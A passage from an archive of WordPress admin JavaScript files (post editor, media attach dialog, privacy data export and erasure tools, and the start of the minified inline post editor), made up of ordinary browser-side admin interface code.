attemptedDate.toUTCString() ) { // Re-set to the current value. $('#timestamp').html(stamp); } else { $('#timestamp').html( '\n' + publishOn + ' <b>' + // translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. __( '%1$s %2$s, %3$s at %4$s:%5$s' ) .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) ) .replace( '%2$s', parseInt( jj, 10 ) ) .replace( '%3$s', aa ) .replace( '%4$s', ( '00' + hh ).slice( -2 ) ) .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) + '</b> ' ); } // Add "privately published" to post status when applies. if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) { $('#publish').val( __( 'Update' ) ); if ( 0 === optPublish.length ) { postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>'); } else { optPublish.html( __( 'Privately Published' ) ); } $('option[value="publish"]', postStatus).prop('selected', true); $('#misc-publishing-actions .edit-post-status').hide(); } else { if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) { if ( optPublish.length ) { optPublish.remove(); postStatus.val($('#hidden_post_status').val()); } } else { optPublish.html( __( 'Published' ) ); } if ( postStatus.is(':hidden') ) $('#misc-publishing-actions .edit-post-status').show(); } // Update "Status:" to currently selected status. $('#post-status-display').text( // Remove any potential tags from post status text. wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() ) ); // Show or hide the "Save Draft" button. if ( $('option:selected', postStatus).val() == 'private' || $('option:selected', postStatus).val() == 'publish' ) { $('#save-post').hide(); } else { $('#save-post').show(); if ( $('option:selected', postStatus).val() == 'pending' ) { $('#save-post').show().val( __( 'Save as Pending' ) ); } else { $('#save-post').show().val( __( 'Save Draft' ) ); } } return true; }; // Show the visibility options and hide the toggle button when opened. $( '#visibility .edit-visibility').on( 'click', function( e ) { e.preventDefault(); if ( $postVisibilitySelect.is(':hidden') ) { updateVisibility(); $postVisibilitySelect.slideDown( 'fast', function() { $postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' ); } ); $(this).hide(); } }); // Cancel visibility selection area and hide it from view. $postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) { $postVisibilitySelect.slideUp('fast'); $('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true); $('#post_password').val($('#hidden-post-password').val()); $('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked')); $('#post-visibility-display').html(visibility); $('#visibility .edit-visibility').show().trigger( 'focus' ); updateText(); event.preventDefault(); }); // Set the selected visibility as current. $postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val(); $postVisibilitySelect.slideUp('fast'); $('#visibility .edit-visibility').show().trigger( 'focus' ); updateText(); if ( 'public' !== selectedVisibility ) { $('#sticky').prop('checked', false); } switch ( selectedVisibility ) { case 'public': visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' ); break; case 'private': visibilityLabel = __( 'Private' ); break; case 'password': visibilityLabel = __( 'Password Protected' ); break; } $('#post-visibility-display').text( visibilityLabel ); event.preventDefault(); }); // When the selection changes, update labels. $postVisibilitySelect.find('input:radio').on( 'change', function() { updateVisibility(); }); // Edit publish time click. $timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) { if ( $timestampdiv.is( ':hidden' ) ) { $timestampdiv.slideDown( 'fast', function() { $( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); // Cancel editing the publish time and hide the settings. $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) { $timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' ); $('#mm').val($('#hidden_mm').val()); $('#jj').val($('#hidden_jj').val()); $('#aa').val($('#hidden_aa').val()); $('#hh').val($('#hidden_hh').val()); $('#mn').val($('#hidden_mn').val()); updateText(); event.preventDefault(); }); // Save the changed timestamp. $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels. if ( updateText() ) { $timestampdiv.slideUp('fast'); $timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' ); } event.preventDefault(); }); // Cancel submit when an invalid timestamp has been selected. $('#post').on( 'submit', function( event ) { if ( ! updateText() ) { event.preventDefault(); $timestampdiv.show(); if ( wp.autosave ) { wp.autosave.enableButtons(); } $( '#publishing-action .spinner' ).removeClass( 'is-active' ); } }); // Post Status edit click. $postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) { if ( $postStatusSelect.is( ':hidden' ) ) { $postStatusSelect.slideDown( 'fast', function() { $postStatusSelect.find('select').trigger( 'focus' ); } ); $(this).hide(); } event.preventDefault(); }); // Save the Post Status changes and hide the options. $postStatusSelect.find('.save-post-status').on( 'click', function( event ) { $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' ); updateText(); event.preventDefault(); }); // Cancel Post Status editing and hide the options. $postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) { $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' ); $('#post_status').val( $('#hidden_post_status').val() ); updateText(); event.preventDefault(); }); } /** * Handle the editing of the post_name. Create the required HTML elements and * update the changes via Ajax. * * @global * * @return {void} */ function editPermalink() { var i, slug_value, slug_label, $el, revert_e, c = 0, real_slug = $('#post_name'), revert_slug = real_slug.val(), permalink = $( '#sample-permalink' ), permalinkOrig = permalink.html(), permalinkInner = $( '#sample-permalink a' ).html(), buttons = $('#edit-slug-buttons'), buttonsOrig = buttons.html(), full = $('#editable-post-name-full'); // Deal with Twemoji in the post-name. full.find( 'img' ).replaceWith( function() { return this.alt; } ); full = full.html(); permalink.html( permalinkInner ); // Save current content to revert to when cancelling. $el = $( '#editable-post-name' ); revert_e = $el.html(); buttons.html( '<button type="button" class="save button button-compact">' + __( 'OK' ) + '</button> ' + '<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>' ); // Save permalink changes. buttons.children( '.save' ).on( 'click', function() { var new_slug = $el.children( 'input' ).val(); if ( new_slug == $('#editable-post-name-full').text() ) { buttons.children('.cancel').trigger( 'click' ); return; } $.post( ajaxurl, { action: 'sample-permalink', post_id: postId, new_slug: new_slug, new_title: $('#title').val(), samplepermalinknonce: $('#samplepermalinknonce').val() }, function(data) { var box = $('#edit-slug-box'); box.html(data); if (box.hasClass('hidden')) { box.fadeIn('fast', function () { box.removeClass('hidden'); }); } buttons.html(buttonsOrig); permalink.html(permalinkOrig); real_slug.val(new_slug); $( '.edit-slug' ).trigger( 'focus' ); wp.a11y.speak( __( 'Permalink saved' ) ); } ); }); // Cancel editing of permalink. buttons.children( '.cancel' ).on( 'click', function() { $('#view-post-btn').show(); $el.html(revert_e); buttons.html(buttonsOrig); permalink.html(permalinkOrig); real_slug.val(revert_slug); $( '.edit-slug' ).trigger( 'focus' ); }); // If more than 1/4th of 'full' is '%', make it empty. for ( i = 0; i < full.length; ++i ) { if ( '%' == full.charAt(i) ) c++; } slug_value = ( c > full.length / 4 ) ? '' : full; slug_label = __( 'URL Slug' ); $el.html( '<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' + '<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />' ).children( 'input' ).on( 'keydown', function( e ) { var key = e.which; // On [Enter], just save the new slug, don't save the post. if ( 13 === key ) { e.preventDefault(); buttons.children( '.save' ).trigger( 'click' ); } // On [Esc] cancel the editing. if ( 27 === key ) { buttons.children( '.cancel' ).trigger( 'click' ); } } ).on( 'keyup', function() { real_slug.val( this.value ); }).trigger( 'focus' ); } $( '#titlediv' ).on( 'click', '.edit-slug', function() { editPermalink(); }); /** * Adds screen reader text to the title label when needed. * * Use the 'screen-reader-text' class to emulate a placeholder attribute * and hide the label when entering a value. * * @param {string} id Optional. HTML ID to add the screen reader helper text to. * * @global * * @return {void} */ window.wptitlehint = function( id ) { id = id || 'title'; var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' ); if ( '' === title.val() ) { titleprompt.removeClass( 'screen-reader-text' ); } title.on( 'input', function() { if ( '' === this.value ) { titleprompt.removeClass( 'screen-reader-text' ); return; } titleprompt.addClass( 'screen-reader-text' ); } ); }; wptitlehint(); // Resize the WYSIWYG and plain text editors. ( function() { var editor, offset, mce, $handle = $('#post-status-info'), $postdivrich = $('#postdivrich'); // If there are no textareas or we are on a touch device, we can't do anything. if ( ! $textarea.length || 'ontouchstart' in window ) { // Hide the resize handle. $('#content-resize-handle').hide(); return; } /** * Handle drag event. * * @param {Object} event Event containing details about the drag. */ function dragging( event ) { if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) { return; } if ( mce ) { editor.theme.resizeTo( null, offset + event.pageY ); } else { $textarea.height( Math.max( 50, offset + event.pageY ) ); } event.preventDefault(); } /** * When the dragging stopped make sure we return focus and do a confidence check on the height. */ function endDrag() { var height, toolbarHeight; if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) { return; } if ( mce ) { editor.focus(); toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 ); if ( toolbarHeight < 10 || toolbarHeight > 200 ) { toolbarHeight = 30; } height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28; } else { $textarea.trigger( 'focus' ); height = parseInt( $textarea.css('height'), 10 ); } $document.off( '.wp-editor-resize' ); // Confidence check: normalize height to stay within acceptable ranges. if ( height && height > 50 && height < 5000 ) { setUserSetting( 'ed_size', height ); } } $handle.on( 'mousedown.wp-editor-resize', function( event ) { if ( typeof tinymce !== 'undefined' ) { editor = tinymce.get('content'); } if ( editor && ! editor.isHidden() ) { mce = true; offset = $('#content_ifr').height() - event.pageY; } else { mce = false; offset = $textarea.height() - event.pageY; $textarea.trigger( 'blur' ); } $document.on( 'mousemove.wp-editor-resize', dragging ) .on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag ); event.preventDefault(); }).on( 'mouseup.wp-editor-resize', endDrag ); })(); // TinyMCE specific handling of Post Format changes to reflect in the editor. if ( typeof tinymce !== 'undefined' ) { // When changing post formats, change the editor body class. $( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() { var editor, body, format = this.id; if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) { body = editor.getBody(); body.className = body.className.replace( /\bpost-format-[^ ]+/, '' ); editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format ); $( document ).trigger( 'editor-classchange' ); } }); // When changing page template, change the editor body class. $( '#page_template' ).on( 'change.set-editor-class', function() { var editor, body, pageTemplate = $( this ).val() || ''; pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length ) .replace( /\.php$/, '' ) .replace( /\./g, '-' ); if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) { body = editor.getBody(); body.className = body.className.replace( /\bpage-template-[^ ]+/, '' ); editor.dom.addClass( body, 'page-template-' + pageTemplate ); $( document ).trigger( 'editor-classchange' ); } }); } // Save on pressing [Ctrl]/[Command] + [S] in the Text editor. $textarea.on( 'keydown.wp-autosave', function( event ) { // Key [S] has code 83. if ( event.which === 83 ) { if ( event.shiftKey || event.altKey || ( isMac && ( ! event.metaKey || event.ctrlKey ) ) || ( ! isMac && ! event.ctrlKey ) ) { return; } wp.autosave && wp.autosave.server.triggerSave(); event.preventDefault(); } }); // If the last status was auto-draft and the save is triggered, edit the current URL. if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) { var location; $( '#publish' ).on( 'click', function() { location = window.location.href; location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?'; location += 'wp-post-new-reload=true'; window.history.replaceState( null, null, location ); }); } /** * Copies the attachment URL in the Edit Media page to the clipboard. * * @since 5.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ copyAttachmentURLClipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Show success visual feedback. clearTimeout( copyAttachmentURLSuccessTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. copyAttachmentURLSuccessTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) ); } ); } ); /** * TinyMCE word count display */ ( function( $, counter ) { $( function() { var $content = $( '#content' ), $count = $( '#wp-word-count' ).find( '.word-count' ), prevCount = 0, contentEditor; /** * Get the word count from TinyMCE and display it */ function update() { var text, count; if ( ! contentEditor || contentEditor.isHidden() ) { text = $content.val(); } else { text = contentEditor.getContent( { format: 'raw' } ); } count = counter.count( text ); if ( count !== prevCount ) { $count.text( count ); } prevCount = count; } /** * Bind the word count update triggers. * * When a node change in the main TinyMCE editor has been triggered. * When a key has been released in the plain text content editor. */ $( document ).on( 'tinymce-editor-init', function( event, editor ) { if ( editor.id !== 'content' ) { return; } contentEditor = editor; editor.on( 'nodechange keyup', _.debounce( update, 1000 ) ); } ); $content.on( 'input keyup', _.debounce( update, 1000 ) ); update(); } ); } )( jQuery, new wp.utils.WordCounter() ); media.js 0000644 00000015155 15222552267 0006200 0 ustar 00 /** * Creates a dialog containing posts that can have a particular media attached * to it. * * @since 2.7.0 * @output wp-admin/js/media.js * * @namespace findPosts * * @requires jQuery */ /* global ajaxurl, _wpMediaGridSettings, showNotice, findPosts, ClipboardJS */ ( function( $ ){ window.findPosts = { /** * Opens a dialog to attach media to a post. * * Adds an overlay prior to retrieving a list of posts to attach the media to. * * @since 2.7.0 * * @memberOf findPosts * * @param {string} af_name The name of the affected element. * @param {string} af_val The value of the affected post element. * * @return {boolean} Always returns false. */ open: function( af_name, af_val ) { var overlay = $( '.ui-find-overlay' ); if ( overlay.length === 0 ) { $( 'body' ).append( '<div class="ui-find-overlay"></div>' ); findPosts.overlay(); } overlay.show(); if ( af_name && af_val ) { // #affected is a hidden input field in the dialog that keeps track of which media should be attached. $( '#affected' ).attr( 'name', af_name ).val( af_val ); } $( '#find-posts' ).show(); // Close the dialog when the escape key is pressed. $('#find-posts-input').trigger( 'focus' ).on( 'keyup', function( event ){ if ( event.which == 27 ) { findPosts.close(); } }); // Retrieves a list of applicable posts for media attachment and shows them. findPosts.send(); return false; }, /** * Clears the found posts lists before hiding the attach media dialog. * * @since 2.7.0 * * @memberOf findPosts * * @return {void} */ close: function() { $('#find-posts-response').empty(); $('#find-posts').hide(); $( '.ui-find-overlay' ).hide(); }, /** * Binds a click event listener to the overlay which closes the attach media * dialog. * * @since 3.5.0 * * @memberOf findPosts * * @return {void} */ overlay: function() { $( '.ui-find-overlay' ).on( 'click', function () { findPosts.close(); }); }, /** * Retrieves and displays posts based on the search term. * * Sends a post request to the admin_ajax.php, requesting posts based on the * search term provided by the user. Defaults to all posts if no search term is * provided. * * @since 2.7.0 * * @memberOf findPosts * * @return {void} */ send: function() { var post = { ps: $( '#find-posts-input' ).val(), action: 'find_posts', _ajax_nonce: $('#_ajax_nonce').val() }, spinner = $( '.find-box-search .spinner' ); spinner.addClass( 'is-active' ); /** * Send a POST request to admin_ajax.php, hide the spinner and replace the list * of posts with the response data. If an error occurs, display it. */ $.ajax( ajaxurl, { type: 'POST', data: post, dataType: 'json' }).always( function() { spinner.removeClass( 'is-active' ); }).done( function( x ) { if ( ! x.success ) { $( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) ); } $( '#find-posts-response' ).html( x.data ); }).fail( function() { $( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) ); }); } }; /** * Initializes the file once the DOM is fully loaded and attaches events to the * various form elements. * * @return {void} */ $( function() { var settings, $mediaGridWrap = $( '#wp-media-grid' ), copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.media-library' ), copyAttachmentURLSuccessTimeout, previousSuccessElement = null; // Opens a manage media frame into the grid. if ( $mediaGridWrap.length && window.wp && window.wp.media ) { settings = _wpMediaGridSettings; var frame = window.wp.media({ frame: 'manage', container: $mediaGridWrap, library: settings.queryVars }).open(); // Fire a global ready event. $mediaGridWrap.trigger( 'wp-media-grid-ready', frame ); } // Prevents form submission if no post has been selected. $( '#find-posts-submit' ).on( 'click', function( event ) { if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length ) event.preventDefault(); }); // Submits the search query when hitting the enter key in the search input. $( '#find-posts .find-box-search :input' ).on( 'keypress', function( event ) { if ( 13 == event.which ) { findPosts.send(); return false; } }); // Binds the click event to the search button. $( '#find-posts-search' ).on( 'click', findPosts.send ); // Binds the close dialog click event. $( '#find-posts-close' ).on( 'click', findPosts.close ); // Binds the bulk action events to the submit buttons. $( '#doaction' ).on( 'click', function( event ) { /* * Handle the bulk action based on its value. */ $( 'select[name="action"]' ).each( function() { var optionValue = $( this ).val(); if ( 'attach' === optionValue ) { event.preventDefault(); findPosts.open(); } else if ( 'delete' === optionValue ) { if ( ! showNotice.warn() ) { event.preventDefault(); } } }); }); /** * Enables clicking on the entire table row. * * @return {void} */ $( '.find-box-inside' ).on( 'click', 'tr', function() { $( this ).find( '.found-radio input' ).prop( 'checked', true ); }); /** * Handles media list copy media URL button. * * @since 6.0.0 * * @param {MouseEvent} event A click event. * @return {void} */ copyAttachmentURLClipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Checking if the previousSuccessElement is present, adding the hidden class to it. if ( previousSuccessElement ) { previousSuccessElement.addClass( 'hidden' ); } // Show success visual feedback. clearTimeout( copyAttachmentURLSuccessTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success and unfocus the trigger. copyAttachmentURLSuccessTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); // No need to store the previous success element further. previousSuccessElement = null; }, 3000 ); previousSuccessElement = successElement; // Handle success audible feedback. wp.a11y.speak( wp.i18n.__( 'The file URL has been copied to your clipboard' ) ); } ); }); })( jQuery ); privacy-tools.js 0000644 00000025253 15222552267 0007734 0 ustar 00 /** * Interactions used by the User Privacy tools in WordPress. * * @output wp-admin/js/privacy-tools.js */ // Privacy request action handling. jQuery( function( $ ) { var __ = wp.i18n.__, copiedNoticeTimeout; function setActionState( $action, state ) { $action.children().addClass( 'hidden' ); $action.children( '.' + state ).removeClass( 'hidden' ); } function clearResultsAfterRow( $requestRow ) { $requestRow.removeClass( 'has-request-results' ); if ( $requestRow.next().hasClass( 'request-results' ) ) { $requestRow.next().remove(); } } function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) { var itemList = '', resultRowClasses = 'request-results'; clearResultsAfterRow( $requestRow ); if ( additionalMessages.length ) { $.each( additionalMessages, function( index, value ) { itemList = itemList + '<li>' + value + '</li>'; }); itemList = '<ul>' + itemList + '</ul>'; } $requestRow.addClass( 'has-request-results' ); if ( $requestRow.hasClass( 'status-request-confirmed' ) ) { resultRowClasses = resultRowClasses + ' status-request-confirmed'; } if ( $requestRow.hasClass( 'status-request-failed' ) ) { resultRowClasses = resultRowClasses + ' status-request-failed'; } $requestRow.after( function() { return '<tr class="' + resultRowClasses + '"><th colspan="5">' + '<div class="notice inline notice-alt ' + classes + '" role="alert">' + '<p>' + summaryMessage + '</p>' + itemList + '</div>' + '</td>' + '</tr>'; }); } $( '.export-personal-data-handle' ).on( 'click', function( event ) { var $this = $( this ), $action = $this.parents( '.export-personal-data' ), $requestRow = $this.parents( 'tr' ), $progress = $requestRow.find( '.export-progress' ), $rowActions = $this.parents( '.row-actions' ), requestID = $action.data( 'request-id' ), nonce = $action.data( 'nonce' ), exportersCount = $action.data( 'exporters-count' ), sendAsEmail = $action.data( 'send-as-email' ) ? true : false; event.preventDefault(); event.stopPropagation(); $rowActions.addClass( 'processing' ); $action.trigger( 'blur' ); clearResultsAfterRow( $requestRow ); setExportProgress( 0 ); function onExportDoneSuccess( zipUrl ) { var summaryMessage = __( 'This user’s personal data export link was sent.' ); if ( 'undefined' !== typeof zipUrl ) { summaryMessage = __( 'This user’s personal data export file was downloaded.' ); } setActionState( $action, 'export-personal-data-success' ); appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] ); if ( 'undefined' !== typeof zipUrl ) { window.location = zipUrl; } else if ( ! sendAsEmail ) { onExportFailure( __( 'No personal data export file was generated.' ) ); } setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function onExportFailure( errorMessage ) { var summaryMessage = __( 'An error occurred while attempting to export personal data.' ); setActionState( $action, 'export-personal-data-failed' ); if ( errorMessage ) { appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] ); } setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function setExportProgress( exporterIndex ) { var progress = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ), progressString = Math.round( progress * 100 ).toString() + '%'; $progress.html( progressString ); } function doNextExport( exporterIndex, pageIndex ) { $.ajax( { url: window.ajaxurl, data: { action: 'wp-privacy-export-personal-data', exporter: exporterIndex, id: requestID, page: pageIndex, security: nonce, sendAsEmail: sendAsEmail }, method: 'post' } ).done( function( response ) { var responseData = response.data; if ( ! response.success ) { // e.g. invalid request ID. setTimeout( function() { onExportFailure( response.data ); }, 500 ); return; } if ( ! responseData.done ) { setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) ); } else { setExportProgress( exporterIndex ); if ( exporterIndex < exportersCount ) { setTimeout( doNextExport( exporterIndex + 1, 1 ) ); } else { setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 ); } } }).fail( function( jqxhr, textStatus, error ) { // e.g. Nonce failure. setTimeout( function() { onExportFailure( error ); }, 500 ); }); } // And now, let's begin. setActionState( $action, 'export-personal-data-processing' ); doNextExport( 1, 1 ); }); $( '.remove-personal-data-handle' ).on( 'click', function( event ) { var $this = $( this ), $action = $this.parents( '.remove-personal-data' ), $requestRow = $this.parents( 'tr' ), $progress = $requestRow.find( '.erasure-progress' ), $rowActions = $this.parents( '.row-actions' ), requestID = $action.data( 'request-id' ), nonce = $action.data( 'nonce' ), erasersCount = $action.data( 'erasers-count' ), hasRemoved = false, hasRetained = false, messages = []; event.preventDefault(); event.stopPropagation(); $rowActions.addClass( 'processing' ); $action.trigger( 'blur' ); clearResultsAfterRow( $requestRow ); setErasureProgress( 0 ); function onErasureDoneSuccess() { var summaryMessage = __( 'No personal data was found for this user.' ), classes = 'notice-success'; setActionState( $action, 'remove-personal-data-success' ); if ( false === hasRemoved ) { if ( false === hasRetained ) { summaryMessage = __( 'No personal data was found for this user.' ); } else { summaryMessage = __( 'Personal data was found for this user but was not erased.' ); classes = 'notice-warning'; } } else { if ( false === hasRetained ) { summaryMessage = __( 'All of the personal data found for this user was erased.' ); } else { summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' ); classes = 'notice-warning'; } } appendResultsAfterRow( $requestRow, classes, summaryMessage, messages ); setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function onErasureFailure() { var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' ); setActionState( $action, 'remove-personal-data-failed' ); appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] ); setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function setErasureProgress( eraserIndex ) { var progress = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ), progressString = Math.round( progress * 100 ).toString() + '%'; $progress.html( progressString ); } function doNextErasure( eraserIndex, pageIndex ) { $.ajax({ url: window.ajaxurl, data: { action: 'wp-privacy-erase-personal-data', eraser: eraserIndex, id: requestID, page: pageIndex, security: nonce }, method: 'post' }).done( function( response ) { var responseData = response.data; if ( ! response.success ) { setTimeout( function() { onErasureFailure(); }, 500 ); return; } if ( responseData.items_removed ) { hasRemoved = hasRemoved || responseData.items_removed; } if ( responseData.items_retained ) { hasRetained = hasRetained || responseData.items_retained; } if ( responseData.messages ) { messages = messages.concat( responseData.messages ); } if ( ! responseData.done ) { setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) ); } else { setErasureProgress( eraserIndex ); if ( eraserIndex < erasersCount ) { setTimeout( doNextErasure( eraserIndex + 1, 1 ) ); } else { setTimeout( function() { onErasureDoneSuccess(); }, 500 ); } } }).fail( function() { setTimeout( function() { onErasureFailure(); }, 500 ); }); } // And now, let's begin. setActionState( $action, 'remove-personal-data-processing' ); doNextErasure( 1, 1 ); }); // Privacy Policy page, copy action. $( document ).on( 'click', function( event ) { var $parent, range, $target = $( event.target ), copiedNotice = $target.siblings( '.success' ); clearTimeout( copiedNoticeTimeout ); if ( $target.is( 'button.privacy-text-copy' ) ) { $parent = $target.closest( '.privacy-settings-accordion-panel' ); if ( $parent.length ) { try { var documentPosition = document.documentElement.scrollTop, bodyPosition = document.body.scrollTop; // Setup copy. window.getSelection().removeAllRanges(); // Hide tutorial content to remove from copied content. range = document.createRange(); $parent.addClass( 'hide-privacy-policy-tutorial' ); // Copy action. range.selectNodeContents( $parent[0] ); window.getSelection().addRange( range ); document.execCommand( 'copy' ); // Reset section. $parent.removeClass( 'hide-privacy-policy-tutorial' ); window.getSelection().removeAllRanges(); // Return scroll position - see #49540. if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) { document.documentElement.scrollTop = documentPosition; } else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) { document.body.scrollTop = bodyPosition; } // Display and speak notice to indicate action complete. copiedNotice.addClass( 'visible' ); wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) ); // Delay notice dismissal. copiedNoticeTimeout = setTimeout( function() { copiedNotice.removeClass( 'visible' ); }, 3000 ); } catch ( er ) {} } } }); // Label handling to focus the create page button on Privacy settings page. $( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) { e.preventDefault(); $( 'input#create-page' ).trigger( 'focus' ); } ); // Accordion handling in various new Privacy settings pages. $( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); }); inline-edit-post.min.js 0000644 00000022615 15222552267 0011066 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(u,h){window.inlineEditPost={init:function(){var i=this,t=u("#inline-edit"),e=u("#bulk-edit"),t=(i.type=u("table.widefat").hasClass("pages")?"page":"post",i.what="#post-",t.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),e.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),u(".cancel",t).on("click",function(){return inlineEditPost.revert()}),u(".save",t).on("click",function(){return inlineEditPost.save(this)}),u("td",t).on("keydown",function(t){if(13===t.which&&!u(t.target).hasClass("cancel"))return inlineEditPost.save(this)}),u(".cancel",e).on("click",function(){return inlineEditPost.revert()}),u('#inline-edit .inline-edit-private input[value="private"]').on("click",function(){var t=u("input.inline-edit-password-input");u(this).prop("checked")?t.val("").prop("disabled",!0):t.prop("disabled",!1)}),u("#the-list").on("click",".editinline",function(){u(this).attr("aria-expanded","true"),inlineEditPost.edit(this)}),u("#inline-edit fieldset.inline-edit-categories").clone());t.find("*[id]").each(function(){this.id="bulk-edit-"+this.id}),u("#bulk-edit").find("fieldset:first").after(t).siblings("fieldset:last").prepend(u("#inline-edit .inline-edit-tags-wrap").clone()),u('select[name="_status"] option[value="future"]',e).remove(),u("#doaction").on("click",function(t){var e;u('#posts-filter .check-column input[type="checkbox"]:checked').length<1||(i.whichBulkButtonId=u(this).attr("id"),e=i.whichBulkButtonId.substr(2),"edit"===u('select[name="'+e+'"]').val()?(t.preventDefault(),i.setBulk()):0<u("form#posts-filter tr.inline-editor").length&&i.revert())})},toggle:function(t){var e=this;"none"===u(e.what+e.getId(t)).css("display")?e.revert():e.edit(t)},setBulk:function(){var n="",t=this.type,a=!0,e=u('tbody th.check-column input[type="checkbox"]:checked'),i={};if(this.revert(),u("#bulk-edit td").attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("table.widefat tbody").prepend(u("#bulk-edit")).prepend('<tr class="hidden"></tr>'),u("#bulk-edit").addClass("inline-editor").show(),u('tbody th.check-column input[type="checkbox"]').each(function(){var t,e,i;u(this).prop("checked")&&(a=!1,t=u(this).val(),e=u("#inline_"+t+" .post_title").html()||h.i18n.__("(no title)"),i=h.i18n.sprintf(h.i18n.__("Remove “%s” from Bulk Edit"),e),n+='<li class="ntdelitem"><button type="button" id="_'+t+'" class="button-link ntdelbutton"><span class="screen-reader-text">'+i+'</span></button><span class="ntdeltitle" aria-hidden="true">'+e+"</span></li>")}),a)return this.revert();u("#bulk-titles").html('<ul id="bulk-titles-list" role="list">'+n+"</ul>"),e.each(function(){var t=u(this).val();u("#category_"+t).text().split(",").map(function(t){i[t]||(i[t]=0),i[t]++})}),u('.inline-edit-categories input[name="post_category[]"]').each(function(){var t;i[u(this).val()]==e.length?u(this).prop("checked",!0):0<i[u(this).val()]&&(u(this).prop("indeterminate",!0),u(this).parent().find('input[name="indeterminate_post_category[]"]').length||(t=u(this).parent().text(),u(this).after('<input type="hidden" 